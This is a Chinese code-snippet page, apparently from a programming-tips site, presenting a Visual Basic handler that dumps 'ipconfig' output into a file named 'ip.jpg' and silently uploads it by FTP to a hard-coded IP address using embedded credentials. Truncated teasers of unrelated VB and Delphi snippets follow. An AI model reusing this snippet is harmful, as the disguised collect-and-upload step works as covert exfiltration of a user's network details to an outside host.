VB实现文件上传到FTP服务器
ftp.txt文件内容为：
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为：
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub
相关文档：
delphi中的DLL中的声明原码如下：
这里声明了输出性参数分别为数字与字符类型
library dll1;
uses
SysUtils,
Classes;
{$R *.res}
Function mymax(x, y: Integer; out jj: Integer; out abc: PChar): Integer; stdcall;
begin
jj := x * y;
abc := PChar(StrPas(abc) + '这是传出的' ......
我用VB执行DOS命令，生成文本文件随即打开
但是由于文本文件生成需要一段时间，
还未等文件生成完毕VB就打开了这个文件
请问如何让程序等待DOS命令执行完毕再打开这个文本文件啊
最好还能加上一个等待的进度条显示文本文件的生成过程
代码如下：
Shell "cmd /c dir /s /b e:\ dir.txt"
Open "dir.txt" ......
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const a& = -1
Private Const b& = &H1
Private Const c& = &H2
Priva ......
最近刚学会在VB2008 中使用参数化SQL语句，于是马上用到代码中，却碰到查不到任何数据的情况，纠结了好几天，还是没有搞明白，差点吐血。不得已还是先在代码中使用字符串拼接的SQL语句。
包含参数化SQL语句的代码如下：
Dim cmSl As N ......
将长路径转为短路径
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Function ShortPath(ByVal FileName As String) As String
Dim S As String
On Error GoTo exitFu ......
